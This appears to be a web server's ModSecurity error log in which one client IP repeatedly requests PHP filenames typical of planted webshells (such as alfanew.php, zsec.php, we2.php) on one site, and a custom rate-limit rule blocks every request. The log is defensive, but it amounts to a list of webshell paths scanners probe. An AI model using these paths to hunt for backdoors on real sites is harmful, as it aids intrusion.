[Thu Dec 18 21:57:01.457272 2025] [:error] [pid 23645:tid 23667] [client 4.190.217.214:13299] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/minik.php"] [unique_id "aUQILTf_Rx0Y0ao_QJhncgAAAJQ"]
[Thu Dec 18 21:57:01.951213 2025] [:error] [pid 23558:tid 23634] [client 4.190.217.214:13187] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/minik.php"] [unique_id "aUQILeHam9NbgPQa9uYxBwAAANM"]
[Thu Dec 18 21:57:02.328826 2025] [:error] [pid 12239:tid 12267] [client 4.190.217.214:13212] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/minik.php"] [unique_id "aUQILtNnXxfGIuWO6akmXQAAApc"]
[Thu Dec 18 21:57:02.633006 2025] [:error] [pid 12239:tid 12263] [client 4.190.217.214:13206] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/minik.php"] [unique_id "aUQILtNnXxfGIuWO6akmXwAAApM"]
[Thu Dec 18 21:57:02.912856 2025] [:error] [pid 24433:tid 24436] [client 4.190.217.214:13261] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/OK.php"] [unique_id "aUQILp4pN9ycmipm8TjjBwAAAQA"]
[Thu Dec 18 21:57:03.282315 2025] [:error] [pid 12383:tid 12406] [client 4.190.217.214:13257] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/OK.php"] [unique_id "aUQIL_dgllo9h1cyxGbPDAAAAtQ"]
[Thu Dec 18 21:57:03.554488 2025] [:error] [pid 24958:tid 24975] [client 4.190.217.214:13308] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/OK.php"] [unique_id "aUQIL8kDOrUkd0wNm2HVoAAAAY4"]
[Thu Dec 18 21:57:03.974695 2025] [:error] [pid 24542:tid 24556] [client 4.190.217.214:13276] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/OK.php"] [unique_id "aUQIL0tQz4H2oS3NrDYq9wAAAUw"]
[Thu Dec 18 21:57:04.316045 2025] [:error] [pid 12239:tid 12252] [client 4.190.217.214:13263] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfanew.php"] [unique_id "aUQIMNNnXxfGIuWO6akmaAAAAog"]
[Thu Dec 18 21:57:04.592858 2025] [:error] [pid 12383:tid 12397] [client 4.190.217.214:13297] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfanew.php"] [unique_id "aUQIMPdgllo9h1cyxGbPDQAAAss"]
[Thu Dec 18 21:57:04.918874 2025] [:error] [pid 23645:tid 23652] [client 4.190.217.214:13186] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfanew.php"] [unique_id "aUQIMDf_Rx0Y0ao_QJhndQAAAIU"]
[Thu Dec 18 21:57:05.270394 2025] [:error] [pid 23556:tid 23570] [client 4.190.217.214:13188] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfanew.php"] [unique_id "aUQIMRnmLlk3u5yt9kHzEgAAAAo"]
[Thu Dec 18 21:57:05.710477 2025] [:error] [pid 23645:tid 23647] [client 4.190.217.214:13288] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zsec.php"] [unique_id "aUQIMTf_Rx0Y0ao_QJhndwAAAIA"]
[Thu Dec 18 21:57:06.161759 2025] [:error] [pid 23556:tid 23561] [client 4.190.217.214:13251] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zsec.php"] [unique_id "aUQIMhnmLlk3u5yt9kHzEwAAAAE"]
[Thu Dec 18 21:57:06.590560 2025] [:error] [pid 25357:tid 25361] [client 4.190.217.214:13252] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zsec.php"] [unique_id "aUQIMoaT7bsEXnJVfJd1bQAAAcI"]
[Thu Dec 18 21:57:07.100288 2025] [:error] [pid 25357:tid 25378] [client 4.190.217.214:13301] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zsec.php"] [unique_id "aUQIM4aT7bsEXnJVfJd1bwAAAdM"]
[Thu Dec 18 21:57:07.837488 2025] [:error] [pid 24542:tid 24548] [client 4.190.217.214:13205] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/arig.php"] [unique_id "aUQIM0tQz4H2oS3NrDYq-wAAAUQ"]
[Thu Dec 18 21:57:08.336106 2025] [:error] [pid 12383:tid 12398] [client 4.190.217.214:13303] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/arig.php"] [unique_id "aUQINPdgllo9h1cyxGbPEAAAAsw"]
[Thu Dec 18 21:57:08.655666 2025] [:error] [pid 24542:tid 24567] [client 4.190.217.214:13204] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/arig.php"] [unique_id "aUQINEtQz4H2oS3NrDYq_AAAAVc"]
[Thu Dec 18 21:57:08.929659 2025] [:error] [pid 12239:tid 12255] [client 4.190.217.214:13307] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/arig.php"] [unique_id "aUQINNNnXxfGIuWO6akmcAAAAos"]
[Thu Dec 18 21:57:09.258319 2025] [:error] [pid 25357:tid 25379] [client 4.190.217.214:13198] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin1.php"] [unique_id "aUQINYaT7bsEXnJVfJd1cAAAAdQ"]
[Thu Dec 18 21:57:09.695687 2025] [:error] [pid 24433:tid 24438] [client 4.190.217.214:13298] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin1.php"] [unique_id "aUQINZ4pN9ycmipm8TjjCQAAAQI"]
[Thu Dec 18 21:57:10.050491 2025] [:error] [pid 25357:tid 25364] [client 4.190.217.214:13287] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin1.php"] [unique_id "aUQINoaT7bsEXnJVfJd1cgAAAcU"]
[Thu Dec 18 21:57:10.436778 2025] [:error] [pid 24958:tid 24970] [client 4.190.217.214:13268] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin1.php"] [unique_id "aUQINskDOrUkd0wNm2HVpgAAAYk"]
[Thu Dec 18 21:57:10.892359 2025] [:error] [pid 12035:tid 12044] [client 4.190.217.214:13283] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we2.php"] [unique_id "aUQINrcVHrNSHjCo-0qgWwAAAgI"]
[Thu Dec 18 21:57:11.278410 2025] [:error] [pid 12035:tid 12045] [client 4.190.217.214:13202] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we2.php"] [unique_id "aUQIN7cVHrNSHjCo-0qgXgAAAgM"]
[Thu Dec 18 21:57:11.738919 2025] [:error] [pid 24542:tid 24557] [client 4.190.217.214:13255] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we2.php"] [unique_id "aUQIN0tQz4H2oS3NrDYq_gAAAU0"]
[Thu Dec 18 21:57:12.107787 2025] [:error] [pid 24958:tid 24985] [client 4.190.217.214:13223] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we2.php"] [unique_id "aUQIOMkDOrUkd0wNm2HVqAAAAZg"]
[Thu Dec 18 21:57:12.430375 2025] [:error] [pid 12239:tid 12268] [client 4.190.217.214:13258] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/af32.php"] [unique_id "aUQIONNnXxfGIuWO6akmcQAAApg"]
[Thu Dec 18 21:57:13.073491 2025] [:error] [pid 12239:tid 12246] [client 4.190.217.214:13203] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/af32.php"] [unique_id "aUQIOdNnXxfGIuWO6akmdAAAAoI"]
[Thu Dec 18 21:57:13.401776 2025] [:error] [pid 24542:tid 24550] [client 4.190.217.214:13281] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/af32.php"] [unique_id "aUQIOUtQz4H2oS3NrDYq_wAAAUY"]
[Thu Dec 18 21:57:13.746703 2025] [:error] [pid 24433:tid 24454] [client 4.190.217.214:13269] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/af32.php"] [unique_id "aUQIOZ4pN9ycmipm8TjjCwAAARI"]
[Thu Dec 18 21:57:14.292352 2025] [:error] [pid 24433:tid 24443] [client 4.190.217.214:13254] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rz.php"] [unique_id "aUQIOp4pN9ycmipm8TjjDAAAAQc"]
[Thu Dec 18 21:57:14.701390 2025] [:error] [pid 24433:tid 24449] [client 4.190.217.214:13195] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rz.php"] [unique_id "aUQIOp4pN9ycmipm8TjjDgAAAQ0"]
[Thu Dec 18 21:57:15.420919 2025] [:error] [pid 12383:tid 12400] [client 4.190.217.214:13275] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rz.php"] [unique_id "aUQIO_dgllo9h1cyxGbPFAAAAs4"]
[Thu Dec 18 21:57:15.841902 2025] [:error] [pid 23556:tid 23565] [client 4.190.217.214:13305] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rz.php"] [unique_id "aUQIOxnmLlk3u5yt9kHzGgAAAAU"]
[Thu Dec 18 21:57:16.129259 2025] [:error] [pid 23558:tid 23627] [client 4.190.217.214:13311] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hugo.php"] [unique_id "aUQIPOHam9NbgPQa9uYxHwAAAMw"]
[Thu Dec 18 21:57:16.477288 2025] [:error] [pid 24958:tid 24967] [client 4.190.217.214:13194] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hugo.php"] [unique_id "aUQIPMkDOrUkd0wNm2HVqgAAAYY"]
[Thu Dec 18 21:57:16.777722 2025] [:error] [pid 24958:tid 24978] [client 4.190.217.214:13211] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hugo.php"] [unique_id "aUQIPMkDOrUkd0wNm2HVqwAAAZE"]
[Thu Dec 18 21:57:17.142131 2025] [:error] [pid 12239:tid 12250] [client 4.190.217.214:13306] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hugo.php"] [unique_id "aUQIPdNnXxfGIuWO6akmeQAAAoY"]
[Thu Dec 18 21:57:17.460743 2025] [:error] [pid 25357:tid 25366] [client 4.190.217.214:13216] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ava.php"] [unique_id "aUQIPYaT7bsEXnJVfJd1dgAAAcc"]
[Thu Dec 18 21:57:17.868536 2025] [:error] [pid 25357:tid 25373] [client 4.190.217.214:13284] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ava.php"] [unique_id "aUQIPYaT7bsEXnJVfJd1dwAAAc4"]
[Thu Dec 18 21:57:18.471901 2025] [:error] [pid 12035:tid 12066] [client 4.190.217.214:13249] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ava.php"] [unique_id "aUQIPrcVHrNSHjCo-0qgYwAAAhc"]
[Thu Dec 18 21:57:18.814676 2025] [:error] [pid 24433:tid 24440] [client 4.190.217.214:13197] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ava.php"] [unique_id "aUQIPp4pN9ycmipm8TjjEQAAAQQ"]
[Thu Dec 18 21:57:19.166293 2025] [:error] [pid 23556:tid 23566] [client 4.190.217.214:13193] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lzyrj.php"] [unique_id "aUQIPxnmLlk3u5yt9kHzKAAAAAY"]
[Thu Dec 18 21:57:19.538879 2025] [:error] [pid 23556:tid 23584] [client 4.190.217.214:13302] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lzyrj.php"] [unique_id "aUQIPxnmLlk3u5yt9kHzKQAAABg"]
[Thu Dec 18 21:57:20.048655 2025] [:error] [pid 12239:tid 12259] [client 4.190.217.214:13264] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lzyrj.php"] [unique_id "aUQIQNNnXxfGIuWO6akmewAAAo8"]
[Thu Dec 18 21:57:20.442213 2025] [:error] [pid 24433:tid 24456] [client 4.190.217.214:13239] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lzyrj.php"] [unique_id "aUQIQJ4pN9ycmipm8TjjEwAAARQ"]
[Thu Dec 18 21:57:20.884856 2025] [:error] [pid 25357:tid 25381] [client 4.190.217.214:13189] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/laudq.php"] [unique_id "aUQIQIaT7bsEXnJVfJd1eQAAAdY"]
[Thu Dec 18 21:57:21.172505 2025] [:error] [pid 12239:tid 12268] [client 4.190.217.214:13185] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/laudq.php"] [unique_id "aUQIQdNnXxfGIuWO6akmfwAAApg"]
[Thu Dec 18 21:57:21.500499 2025] [:error] [pid 25357:tid 25362] [client 4.190.217.214:13225] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/laudq.php"] [unique_id "aUQIQYaT7bsEXnJVfJd1egAAAcM"]
[Thu Dec 18 21:57:21.979875 2025] [:error] [pid 12239:tid 12263] [client 4.190.217.214:13210] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/laudq.php"] [unique_id "aUQIQdNnXxfGIuWO6akmgAAAApM"]
[Thu Dec 18 21:57:22.514811 2025] [:error] [pid 24542:tid 24556] [client 4.190.217.214:13226] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/anjay.php"] [unique_id "aUQIQktQz4H2oS3NrDYrCQAAAUw"]
[Thu Dec 18 21:57:23.000855 2025] [:error] [pid 25357:tid 25378] [client 4.190.217.214:13273] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/anjay.php"] [unique_id "aUQIQoaT7bsEXnJVfJd1fQAAAdM"]
[Thu Dec 18 21:57:23.509027 2025] [:error] [pid 12035:tid 12042] [client 4.190.217.214:13207] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/anjay.php"] [unique_id "aUQIQ7cVHrNSHjCo-0qgZwAAAgA"]
[Thu Dec 18 21:57:24.288960 2025] [:error] [pid 24433:tid 24459] [client 4.190.217.214:9164] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/anjay.php"] [unique_id "aUQIRJ4pN9ycmipm8TjjFQAAARc"]
